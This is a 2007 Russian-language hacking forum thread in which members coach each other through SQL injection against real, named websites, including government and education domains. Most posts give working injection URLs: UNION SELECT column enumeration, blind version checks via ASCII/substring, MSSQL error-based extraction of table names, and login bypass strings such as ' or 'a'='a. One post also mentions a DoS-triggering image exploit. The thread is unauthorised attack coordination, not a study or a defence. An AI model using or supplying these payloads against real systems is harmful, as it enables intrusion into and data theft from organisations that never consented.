Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Вобще этот сплоит создает картинку Art.gif которая при ее загрузке вызывает DOS но этот сплоит немного исправить надо (под винду)

    а в целом действуй так, как посоветовал n1†R0x, только вот по идее когда ты сам картинку будешь смотреть у тебя винда уйдет в аут...

    вопрос: зачем он тебе нужен? :)
     
  2. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    нашел количество полей - пытаюсь вывести бд ругается.......
    http://www.suvd.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
     
  3. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    823
    Reputations:
    1,418
    x.Elf делай через подзапросы
     
    1 person likes this.
  4. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    там 3 версия мускула, а внем union select не работает...

    Code:
    http://www.suvd.ru/news.php?id=4825%20and%20ascii(lower(substring(Version(),1,1)))=51/*
    ascii("3")=51
     
    1 person likes this.
  5. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    тут сайтец с скуль уязвимостью...

    http://www.mediacomp.ru/?action=sub_kat&top_kat=-1,union+select+1/*

    самое ссмешное то что я подобрал до 72 и нифига ничего не вылезло.... что предложите сделать ....?
     
  6. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    юзай "-1+ORDER+BY+.../*" помогает...
     
    2 people like this.
  7. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    то есть ты хочешь сказать что истина полюбе есть, тока находится далеко и мою работу облегчит данная фича?? или как??
     
  8. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    http://www.mediacomp.ru/?action=sub_kat&top_kat=-1+union+select+1,2,3/*
    http://www.mediacomp.ru/?action=sub_kat&top_kat=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71)/*
     
  9. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    http://forum.antichat.ru/thread19605-mysql+inj.html

    сначало прочти, а потом и вопросы...
    не тупи...
     
    #29 x.Elf, 10 Aug 2007
    Last edited: 10 Aug 2007
  10. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,784
    Likes Received:
    1,218
    Reputations:
    704
    заюзай AND
     
  11. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    вторая ссылка не пашет , до первой странно, почему я ее пропустил ппц. я даже удивился ))) но повторюсь вторая ссылка полюбе версию не показывает...
     
  12. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    Он вобще что такое mysql inj не хорошо понимает...
     
  13. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    сор))
     
  14. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    Балбес - вторая пашет просто там пробел между скобками и version (в переносах возникают пробелы при посте)
     
  15. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    понятно ,
    P.s. тока не груби
     
  16. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    Ты просто минимум не понимаешь ... даже такие мелочи
    как было сказано выше - это просто уже выносит на грубость...
     
  17. Taylorith

    Taylorith Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    172
    Likes Received:
    11
    Reputations:
    0
    ясно что предложишь??
     
  18. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    http://www.usgs.gov/newsroom/article.asp?ID=1'
    Помогите провести инъект на сайте.
    У меня с MSSQL пока туговато...

    http://ts.edu.ru/schools/region/4/?town=%C4'
    и здесь...

    uralsmart.ru
    Опять таки mssql.
    Я вижу что скл ругается ......еще вижу строки логин пасс и ввожу запрос типа:
    ' or 'a'='a
    " or 1=1--
    or 1=1--
    а тока ругается -ХЕЛП
     
  19. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Code:
    http://ts.edu.ru/schools/region/4/?town=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    а вобще читай здесь http://forum.antichat.ru/thread30501.html отлично написано
     
  20. x.Elf

    x.Elf Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    34
    Likes Received:
    18
    Reputations:
    0
    спс :) я просто редко с мсскл сталкивась :)
     
Loading...
Thread Status:
Not open for further replies.